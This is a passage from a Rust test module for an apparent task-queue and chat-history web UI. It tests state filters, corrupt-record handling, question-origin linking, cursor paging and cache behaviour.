24249 "active" => !done,
24250 "flight" => !done && !waiting && !dead,
24251 "stale" => !done && !waiting && dead,
24252 "waiting" => waiting,
24253 "done" => done,
24254 "all" => true,
24255 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24256 }
24257 }
24258
24259 let compatible = |section: &str, filter_key: &str| {
24260 shapes.iter().any(|(waiting, status, dead, parked, done)| {
24261 run_section(*waiting, status, *dead, *parked) == section
24262 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24263 })
24264 };
24265
24266 let expected = [
24271 ("waiting", [true, false, false, true, true, true]),
24272 ("stale", [true, false, true, false, false, true]),
24273 ("flight", [true, true, false, false, false, true]),
24274 ("landed", [false, false, false, false, true, true]),
24275 ("ended", [false, false, false, false, true, true]),
24276 ];
24277 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24278
24279 for (section, wants) in expected {
24280 for (filter_key, want) in filter_keys.iter().zip(wants) {
24281 assert_eq!(
24282 compatible(section, filter_key),
24283 want,
24284 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24285 );
24286 }
24287 }
24288
24289 assert!(
24292 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24293 );
24294 assert!(APP_JS.contains(
24295 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24296 ));
24297 assert!(APP_JS.contains(
24298 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24299 ));
24300 }
24301
24302 #[tokio::test]
24303 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24304 let dir = tempfile::tempdir().expect("tempdir");
24308 let explicit = dir.path().join("not-a-checkout");
24309 std::fs::create_dir_all(&explicit).expect("create dir");
24310 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24311
24312 let missing = dir.path().join("does-not-exist-at-all");
24313 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24314 }
24315
24316 #[test]
24317 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24318 assert!(APP_JS.contains("function statsDonutArcs"));
24319 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24320 assert!(APP_JS.contains("function statusInBucket"));
24322 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24323 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24324 let buckets = [
24325 "merged",
24326 "ready",
24327 "in_progress",
24328 "blocked",
24329 "failed",
24330 "verified_noop",
24331 "superseded",
24332 "stalled",
24333 ];
24334 for key in buckets {
24335 let var = format!("--verdict-{key}:");
24336 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24338 assert!(
24339 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24340 "{key}"
24341 );
24342 }
24343 }
24344
24345 #[tokio::test]
24346 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24347 let dir = tempfile::tempdir().expect("tempdir");
24348 let queue = Queue::at(dir.path().join("queue"));
24349 let talks = Talks::at(dir.path().join("talks"));
24350 std::fs::create_dir_all(queue.root()).unwrap();
24351 std::fs::create_dir_all(talks.root()).unwrap();
24352
24353 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24355 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24356
24357 let mut task = Task::new(
24359 "title".into(),
24360 "inst".into(),
24361 PathBuf::from("/repo"),
24362 Source::Human,
24363 );
24364 task.id = "20261019-123456-abcd".into();
24365 std::fs::write(
24367 queue.path_of(&task.id),
24368 serde_json::to_string(&task).unwrap(),
24369 )
24370 .unwrap();
24371
24372 let talk_id = "20261019-234567-cdef";
24373 seed_talk_at(&talks, talk_id, "open");
24374
24375 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24377 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24378
24379 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24381 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24382 }
24383
24384 #[tokio::test]
24385 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24386 let home = tempfile::tempdir().unwrap();
24387 let ui = delta_test_ui(home.path());
24388 std::fs::write(ui.queue.root(), "not a directory").unwrap();
24390 std::fs::write(ui.talks.root(), "not a directory").unwrap();
24391 assert!(
24392 questions_list(State(ui.clone()))
24393 .await
24394 .unwrap()
24395 .0
24396 .is_empty()
24397 );
24398 assert!(
24399 question_origins(State(ui.clone()))
24400 .await
24401 .unwrap()
24402 .0
24403 .is_empty()
24404 );
24405 let mut question = Question::new(
24406 "run-history".into(),
24407 "review".into(),
24408 "seat".into(),
24409 "Useful question".into(),
24410 "Useful detail".into(),
24411 vec![],
24412 );
24413 ui.questions.put(&mut question).unwrap();
24414 let core = questions_core(State(ui.clone())).await.unwrap().0;
24415 assert_eq!(core.len(), 1);
24416 assert_eq!(core[0].question.summary, "Useful question");
24417 assert!(!core[0].can_consult_chat);
24418 assert!(core[0].origin_chat.is_none());
24419 assert_eq!(core[0].record_revision, question_record_revision(&question));
24420 assert!(question_origins(State(ui.clone())).await.is_err());
24421 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24422 }
24423
24424 #[tokio::test]
24425 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24426 let home = tempfile::tempdir().unwrap();
24427 let ui = delta_test_ui(home.path());
24428 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24429 let mut parent = Task::new(
24430 "parent".into(),
24431 "body".into(),
24432 PathBuf::from("/repo"),
24433 Source::Agent {
24434 run: chat.clone(),
24435 node: crate::queue::CHAT_NODE.into(),
24436 },
24437 );
24438 parent.id = "parent-task".into();
24439 parent.runs = vec!["parent-run".into()];
24440 ui.queue.put(&mut parent).unwrap();
24441 let mut previous = parent;
24442 for generation in 1..=2 {
24443 let mut child = Task::new(
24444 "child".into(),
24445 "body".into(),
24446 PathBuf::from("/repo"),
24447 Source::Human,
24448 );
24449 child.id = format!("child-task-{generation}");
24450 child.runs = vec![format!("child-run-{generation}")];
24451 child.followup = Some(crate::queue::FollowUp {
24452 origin_task: Some(previous.id.clone()),
24453 run: previous.runs[0].clone(),
24454 pr: String::new(),
24455 findings: vec![],
24456 generation,
24457 });
24458 ui.queue.put(&mut child).unwrap();
24459 previous = child;
24460 }
24461 let mut collision = Task::new(
24464 "collision".into(),
24465 String::new(),
24466 PathBuf::from("/repo"),
24467 Source::Human,
24468 );
24469 collision.id = "collision-task".into();
24470 collision.runs = vec![previous.id.clone()];
24471 ui.queue.put(&mut collision).unwrap();
24472 let mut questions = Vec::new();
24473 for (node, reference, expected, eligible) in [
24474 (crate::triage::NODE, previous.id.as_str(), true, false),
24475 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24476 ("review", previous.runs[0].as_str(), true, true),
24477 (
24478 crate::bump::NOTICE_NODE,
24479 previous.runs[0].as_str(),
24480 true,
24481 false,
24482 ),
24483 ("review", previous.id.as_str(), false, false),
24485 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24486 ("review", "unrelated", false, false),
24487 ] {
24488 let mut q = Question::new(
24489 reference.into(),
24490 node.into(),
24491 "seat".into(),
24492 "Question".into(),
24493 String::new(),
24494 vec![],
24495 );
24496 ui.questions.put(&mut q).unwrap();
24497 questions.push((q, expected, eligible));
24498 }
24499 for (node, reference, associated, eligible) in [
24500 (crate::reconcile::NODE, previous.id.as_str(), true, false),
24501 (
24502 crate::reconcile::NODE,
24503 previous.runs[0].as_str(),
24504 false,
24505 true,
24506 ),
24507 ("implement", previous.id.as_str(), false, false),
24508 ] {
24509 let mut q = Question::new(
24510 reference.into(),
24511 node.into(),
24512 crate::reconcile::SEAT.into(),
24513 "Reconcile".into(),
24514 String::new(),
24515 vec![],
24516 );
24517 ui.questions.put(&mut q).unwrap();
24518 questions.push((q, associated, eligible));
24519 }
24520 let mut release = Question::new(
24521 "release-record".into(),
24522 crate::bump::NOTICE_NODE.into(),
24523 "release-watch".into(),
24524 "Release".into(),
24525 String::new(),
24526 vec![],
24527 );
24528 ui.questions.put(&mut release).unwrap();
24529 let watch = crate::release_watch::WatchState {
24530 question: Some(release.id.clone()),
24531 run: Some(previous.runs[0].clone()),
24532 held_task: Some(previous.id.clone()),
24533 ..Default::default()
24534 };
24535 let watch_dir = home.path().join("release-watch");
24536 std::fs::create_dir_all(&watch_dir).unwrap();
24537 let watch_path = watch_dir.join("watch.json");
24538 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24539 for batch in [
24541 Vec::new(),
24542 questions.iter().map(|(q, _, _)| q.clone()).collect(),
24543 ] {
24544 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24545 assert!(watches.is_empty());
24546 }
24547 questions.push((release.clone(), true, false));
24548
24549 let views = questions_list(State(ui.clone())).await.unwrap().0;
24550 let origins = question_origins(State(ui.clone())).await.unwrap().0;
24551 for (q, associated, eligible) in &questions {
24552 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24553 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24554 let expected = associated.then_some(chat.as_str());
24555 assert_eq!(
24556 view.origin_chat.as_deref(),
24557 expected,
24558 "{} {}",
24559 q.node,
24560 q.run
24561 );
24562 assert_eq!(origin.origin_chat.as_deref(), expected);
24563 assert_eq!(view.origin_chat_closed, *associated);
24564 assert_eq!(origin.origin_chat_closed, *associated);
24565 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24566 assert_eq!(origin.can_consult_chat, *eligible);
24567 }
24568 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24570 let link = crate::release_watch::WatchState {
24571 run,
24572 held_task,
24573 ..watch.clone()
24574 };
24575 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24576 let (tasks, talks, watches) =
24577 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24578 assert_eq!(
24579 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24580 .unwrap()
24581 .id,
24582 chat,
24583 );
24584 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24585 }
24586 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24587 let duplicate_path = watch_dir.join("duplicate.json");
24589 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24590 let (tasks, talks, watches) =
24591 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24592 assert!(
24593 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24594 .is_none()
24595 );
24596 std::fs::remove_file(duplicate_path).unwrap();
24597 let mut unrelated = Task::new(
24599 "other".into(),
24600 String::new(),
24601 PathBuf::from("/repo"),
24602 Source::Human,
24603 );
24604 unrelated.id = "unrelated-task".into();
24605 ui.queue.put(&mut unrelated).unwrap();
24606 let mut conflicting = watch.clone();
24607 conflicting.held_task = Some(unrelated.id);
24608 std::fs::write(
24609 watch_dir.join("conflict.json"),
24610 serde_json::to_vec(&conflicting).unwrap(),
24611 )
24612 .unwrap();
24613 let (tasks, talks, watches) =
24614 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24615 assert!(
24616 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24617 .is_none()
24618 );
24619 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24620 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24621 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24622 assert!(origin.origin_chat.is_none());
24623 assert!(!origin.origin_chat_closed);
24624 }
24625 }
24626
24627 #[test]
24628 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24629 let home = tempfile::tempdir().unwrap();
24630 let ui = delta_test_ui(home.path());
24631 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24632 for i in 0..1000 {
24633 let mut task = Task::new(
24634 "unrelated".into(),
24635 "instruction ".repeat(256),
24636 PathBuf::from("/repo"),
24637 Source::Human,
24638 );
24639 task.id = format!("history-{i:04}");
24640 ui.queue.put(&mut task).unwrap();
24641 let id = seed_talk_at(&ui.talks, &task.id, "open");
24642 let mut talk = ui.talks.get(&id).unwrap();
24643 talk.pending = "history ".repeat(256);
24644 ui.talks.put(&mut talk).unwrap();
24645 }
24646 let mut parent = Task::new(
24647 "parent".into(),
24648 "body".into(),
24649 PathBuf::from("/repo"),
24650 Source::Agent {
24651 run: chat_id.clone(),
24652 node: crate::queue::CHAT_NODE.into(),
24653 },
24654 );
24655 parent.id = "task-parent".into();
24656 parent.runs = vec!["run-parent".into()];
24657 ui.queue.put(&mut parent).unwrap();
24658 let mut child = Task::new(
24659 "child".into(),
24660 "body".into(),
24661 PathBuf::from("/repo"),
24662 Source::Human,
24663 );
24664 child.id = "task-child".into();
24665 child.runs = vec!["run-child".into()];
24666 child.followup = Some(crate::queue::FollowUp {
24667 run: "run-parent".into(),
24668 origin_task: Some(parent.id.clone()),
24669 pr: "https://example.invalid/pr/1".into(),
24670 findings: vec![],
24671 generation: 1,
24672 });
24673 ui.queue.put(&mut child).unwrap();
24674 let mut question = Question::new(
24675 child.id.clone(),
24676 crate::conduct::NODE.into(),
24677 "seat".into(),
24678 "Continue?".into(),
24679 String::new(),
24680 vec![],
24681 );
24682 let (tasks, talks, _watches) =
24683 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24684 assert_eq!(tasks.len(), 2);
24685 assert_eq!(talks.len(), 1);
24686 assert_eq!(
24687 ui.monitor.queue_index.lock().unwrap().reparsed,
24688 0,
24689 "exact ancestry bypasses the index"
24690 );
24691 assert_eq!(
24692 crate::consult::origin_talk(&tasks, &talks, &question)
24693 .unwrap()
24694 .id,
24695 chat_id
24696 );
24697 question.run = "run-child".into();
24698 question.node = "review".into();
24699 for origin_task in [Some(parent.id.clone()), None] {
24700 child.followup.as_mut().unwrap().origin_task = origin_task;
24701 ui.queue.put(&mut child).unwrap();
24702 let (tasks, talks, _watches) =
24703 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24704 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24705 let expected =
24706 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24707 .unwrap();
24708 assert_eq!(actual.id, expected.id);
24709 assert!(!actual.status.open());
24710 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24711 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24712 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24715 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24716 }
24717 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24718 ui.queue.put(&mut child).unwrap();
24719 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24720 let (tasks, talks, _watches) =
24721 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24722 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24723 child.origin_chat = Some(chat_id.clone());
24724 ui.queue.put(&mut child).unwrap();
24725 let (tasks, talks, _watches) =
24726 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24727 assert_eq!(
24728 crate::consult::origin_talk(&tasks, &talks, &question)
24729 .unwrap()
24730 .id,
24731 chat_id
24732 );
24733 let revision = question_record_revision(&question);
24734 question.abandon("settled elsewhere");
24735 assert_ne!(revision, question_record_revision(&question));
24736 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24737 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24738 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24739 let (tasks, talks, _watches) =
24740 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24741 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24742 }
24743
24744 #[test]
24745 fn list_cursors_freeze_membership_and_expire_explicitly() {
24746 let home = tempfile::tempdir().unwrap();
24747 let ui = delta_test_ui(home.path());
24748 std::fs::create_dir_all(ui.queue.root()).unwrap();
24749 for i in 0..40 {
24750 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24751 }
24752 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24753 assert_eq!(first.len(), STORE_PAGE_SIZE);
24754 let cursor = cursor.unwrap();
24755 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24756 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24757 let (second, _) = page_ids(
24758 &ui,
24759 false,
24760 PageQuery {
24761 before: Some(cursor.clone()),
24762 },
24763 )
24764 .unwrap();
24765 assert_eq!(second[0], "record-0023");
24766 assert!(second.iter().all(|id| !first.contains(id)));
24767 assert!(
24768 page_ids(
24769 &ui,
24770 true,
24771 PageQuery {
24772 before: Some(cursor.clone())
24773 }
24774 )
24775 .is_err()
24776 );
24777 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24778 assert_eq!(fresh[0], "record-9999");
24779 ui.monitor.list_walks.lock().unwrap().clear();
24780 assert!(
24781 page_ids(
24782 &ui,
24783 false,
24784 PageQuery {
24785 before: Some(cursor)
24786 }
24787 )
24788 .is_err()
24789 );
24790 }
24791
24792 #[tokio::test]
24793 async fn talk_pages_load_every_open_then_frozen_closed_history() {
24794 let home = tempfile::tempdir().unwrap();
24795 let ui = delta_test_ui(home.path());
24796 for i in 0..23 {
24798 seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
24799 }
24800 for i in 0..45 {
24801 seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
24802 }
24803 std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
24804 let first = talks_page(
24805 State(ui.clone()),
24806 Query(PageQuery::default()),
24807 header::HeaderMap::new(),
24808 )
24809 .await
24810 .unwrap()
24811 .0;
24812 assert_eq!(
24813 first.rows.iter().filter(|row| row.status.open()).count(),
24814 23
24815 );
24816 assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
24817 assert!(first.rows[..23].iter().all(|row| row.status.open()));
24818 let parsed = ui
24819 .monitor
24820 .talk_parses
24821 .load(std::sync::atomic::Ordering::Relaxed);
24822 assert_eq!(
24823 parsed,
24824 first.rows.len(),
24825 "closed bodies outside this page are not restored"
24826 );
24827 let fresh = talks_page(
24828 State(ui.clone()),
24829 Query(PageQuery::default()),
24830 header::HeaderMap::new(),
24831 )
24832 .await
24833 .unwrap()
24834 .0;
24835 assert_eq!(fresh.rows.len(), first.rows.len());
24836 assert_eq!(
24837 ui.monitor
24838 .talk_parses
24839 .load(std::sync::atomic::Ordering::Relaxed),
24840 parsed
24841 );
24842 let mut seen: std::collections::HashSet<_> =
24843 first.rows.iter().map(|row| row.id.clone()).collect();
24844 seed_talk_at(&ui.talks, "20261019-000000-000", "open");
24846 seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
24847 std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
24848 let mut next = first.next;
24849 while let Some(cursor) = next {
24850 let page = talks_page(
24851 State(ui.clone()),
24852 Query(PageQuery {
24853 before: Some(cursor),
24854 }),
24855 header::HeaderMap::new(),
24856 )
24857 .await
24858 .unwrap()
24859 .0;
24860 assert!(page.rows.len() <= STORE_PAGE_SIZE);
24861 for row in page.rows {
24862 assert!(seen.insert(row.id), "a cursor must not repeat membership");
24863 }
24864 next = page.next;
24865 }
24866 let expected: HashSet<_> = (0..23)
24867 .map(|i| format!("20260101-000000-{i:03}"))
24868 .chain(
24869 (0..45)
24870 .filter(|i| *i != 1)
24871 .map(|i| format!("20261019-000000-{i:03}")),
24872 )
24873 .collect();
24874 assert_eq!(
24875 seen, expected,
24876 "the cursor walk must return every surviving ID"
24877 );
24878 let refreshed = talks_page(
24879 State(ui.clone()),
24880 Query(PageQuery::default()),
24881 header::HeaderMap::new(),
24882 )
24883 .await
24884 .unwrap()
24885 .0;
24886 assert_eq!(
24887 refreshed
24888 .rows
24889 .iter()
24890 .filter(|row| row.status.open())
24891 .count(),
24892 23
24893 );
24894 assert!(
24895 refreshed
24896 .rows
24897 .iter()
24898 .any(|row| row.id == "20261019-000000-000")
24899 );
24900 assert!(
24901 !refreshed
24902 .rows
24903 .iter()
24904 .any(|row| row.id == "20260101-000000-000")
24905 );
24906 }
24907
24908 #[test]
24909 fn talk_pages_with_only_open_rows_have_no_history_cursor() {
24910 let home = tempfile::tempdir().unwrap();
24911 let ui = delta_test_ui(home.path());
24912 for i in 0..STORE_PAGE_SIZE + 5 {
24913 seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
24914 }
24915 let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
24916 assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
24917 assert!(next.is_none());
24918 }
24919
24920 #[test]
24921 fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
24922 struct Counted<R> {
24923 inner: R,
24924 bytes: usize,
24925 }
24926 impl<R: std::io::Read> std::io::Read for Counted<R> {
24927 fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
24928 let n = self.inner.read(buf)?;
24929 self.bytes += n;
24930 Ok(n)
24931 }
24932 }
24933 let home = tempfile::tempdir().unwrap();
24934 let ui = delta_test_ui(home.path());
24935 let id = seed_talk_at(&ui.talks, "header-chat", "closed");
24936 let mut chat = ui.talks.get(&id).unwrap();
24937 for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
24938 chat.turns = vec![
24939 serde_json::from_value(serde_json::json!({
24940 "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
24941 }))
24942 .unwrap(),
24943 ];
24944 for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
24945 chat.status = status;
24946 let body = serde_json::to_vec_pretty(&chat).unwrap();
24948 let mut reader = Counted {
24949 inner: body.as_slice(),
24950 bytes: 0,
24951 };
24952 assert_eq!(read_talk_status(&mut reader), Some(status));
24953 assert!(
24954 reader.bytes <= 1024,
24955 "header classification read {} bytes",
24956 reader.bytes
24957 );
24958 }
24959 }
24960 let noncanonical = format!(
24963 r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
24964 "x".repeat(1024 * 1024)
24965 );
24966 let mut reader = Counted {
24967 inner: noncanonical.as_bytes(),
24968 bytes: 0,
24969 };
24970 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24971 assert!(reader.bytes <= 1024);
24972 let oversized = format!(
24973 r#"{{"agent":"{}","status":"open"}}"#,
24974 "x".repeat(128 * 1024)
24975 );
24976 let mut reader = Counted {
24977 inner: oversized.as_bytes(),
24978 bytes: 0,
24979 };
24980 assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
24981 assert!(reader.bytes <= 64 * 1024);
24982 }
24983
24984 #[test]
24985 fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
24986 let home = tempfile::tempdir().unwrap();
24987 let ui = delta_test_ui(home.path());
24988 seed_talk_at(&ui.talks, "header-chat", "open");
24989 std::fs::create_dir_all(ui.queue.root()).unwrap();
24990 let (started, ready) = std::sync::mpsc::channel();
24991 let (release, wait) = std::sync::mpsc::channel();
24992 let chat_ui = ui.clone();
24993 let scan = std::thread::spawn(move || {
24994 page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
24995 started.send(()).unwrap();
24996 wait.recv().unwrap();
24997 open_talk_ids(ui, ids)
24998 })
24999 .unwrap()
25000 });
25001 ready.recv_timeout(Duration::from_secs(2)).unwrap();
25002 let (finished, result) = std::sync::mpsc::channel();
25003 let queue = std::thread::spawn(move || {
25004 finished
25005 .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25006 .unwrap();
25007 });
25008 let completed = result.recv_timeout(Duration::from_secs(2));
25009 release.send(()).unwrap();
25011 scan.join().unwrap();
25012 queue.join().unwrap();
25013 assert!(
25014 completed.unwrap(),
25015 "queue paging must not wait for chat header I/O"
25016 );
25017 }
25018
25019 #[test]
25020 fn talk_status_projection_does_not_cache_files_changed_during_read() {
25021 let home = tempfile::tempdir().unwrap();
25022 let ui = delta_test_ui(home.path());
25023 let ids = vec!["changing-chat".to_owned()];
25024 seed_talk_at(&ui.talks, &ids[0], "closed");
25025 assert!(open_talk_ids(&ui, &ids).is_empty());
25026 seed_talk_at(&ui.talks, &ids[0], "open");
25027 let open = open_talk_ids_with(&ui, &ids, |path| {
25028 let value: serde_json::Value =
25029 serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25030 seed_talk_at(&ui.talks, &ids[0], "closed");
25032 serde_json::from_value(value["status"].clone()).ok()
25033 });
25034 assert!(open.contains(&ids[0]));
25035 assert!(
25036 ui.monitor
25037 .talk_status_index
25038 .lock()
25039 .unwrap()
25040 .records
25041 .is_empty()
25042 );
25043 assert!(open_talk_ids(&ui, &ids).is_empty());
25044 assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25045 }
25046
25047 #[test]
25048 fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25049 let home = tempfile::tempdir().unwrap();
25050 let ui = delta_test_ui(home.path());
25051 let headers = header::HeaderMap::new();
25052 seed_talk_at(&ui.talks, "open-chat", "open");
25053 seed_talk_at(&ui.talks, "closed-chat", "closed");
25054 talk_rows(
25055 &ui,
25056 vec!["open-chat".into(), "closed-chat".into()],
25057 &headers,
25058 );
25059 {
25060 let mut index = ui.monitor.talk_index.lock().unwrap();
25061 let closed = index["closed-chat"].1.clone();
25062 for i in 0..1000 {
25063 index.insert(
25064 format!("cached-closed-{i}"),
25065 (
25066 file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25067 closed.clone(),
25068 ),
25069 );
25070 }
25071 }
25072 assert_eq!(
25073 talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25074 1
25075 );
25076 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25077 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25078 assert_eq!(
25079 ui.monitor
25080 .talk_parses
25081 .load(std::sync::atomic::Ordering::Relaxed),
25082 2
25083 );
25084 {
25085 let mut index = ui.monitor.talk_index.lock().unwrap();
25086 let open = index["open-chat"].1.clone();
25087 for i in 0..1000 {
25088 index.insert(
25089 format!("cached-open-{i}"),
25090 (
25091 file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25092 open.clone(),
25093 ),
25094 );
25095 }
25096 }
25097 assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25099 assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25100 assert_eq!(
25101 ui.monitor
25102 .talk_parses
25103 .load(std::sync::atomic::Ordering::Relaxed),
25104 2
25105 );
25106 }
25107
25108 #[test]
25109 fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25110 let home = tempfile::tempdir().unwrap();
25111 let ui = delta_test_ui(home.path());
25112 std::fs::create_dir_all(ui.talks.root()).unwrap();
25113 let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25114 for id in &ids {
25115 std::fs::write(
25116 ui.talks.path_of(id),
25117 r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25118 )
25119 .unwrap();
25120 }
25121 assert!(open_talk_ids(&ui, &ids).is_empty());
25122 assert_eq!(
25123 ui.monitor.talk_status_index.lock().unwrap().parses,
25124 ids.len()
25125 );
25126 assert!(open_talk_ids(&ui, &ids).is_empty());
25127 assert_eq!(
25128 ui.monitor.talk_status_index.lock().unwrap().parses,
25129 ids.len()
25130 );
25131 std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25132 std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25133 assert_eq!(
25134 open_talk_ids(&ui, &ids),
25135 std::collections::HashSet::from([ids[0].clone()])
25136 );
25137 let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25138 assert_eq!(parsed, ids.len() + 2);
25139 open_talk_ids(&ui, &ids);
25140 assert_eq!(
25141 ui.monitor.talk_status_index.lock().unwrap().parses,
25142 parsed,
25143 "unreadable rows are cached too"
25144 );
25145 std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25146 assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25147 assert!(
25148 !ui.monitor
25149 .talk_status_index
25150 .lock()
25151 .unwrap()
25152 .records
25153 .contains_key(&ids[0])
25154 );
25155 assert!(
25156 ui.monitor.talk_index.lock().unwrap().is_empty(),
25157 "classification never caches bodies"
25158 );
25159 }
25160
25161 #[tokio::test]
25162 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25163 let home = tempfile::tempdir().unwrap();
25164 let ui = delta_test_ui(home.path());
25165 let mut task = Task::new(
25166 "task".into(),
25167 "body".into(),
25168 PathBuf::from("/repo"),
25169 Source::Human,
25170 );
25171 ui.queue.put(&mut task).unwrap();
25172 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25173 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25174 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25175 let expected = parsed + usize::from(!cfg!(unix));
25176 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25177 task.status = crate::queue::TaskStatus::Held;
25178 ui.queue.put(&mut task).unwrap();
25179 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25180 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25181 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
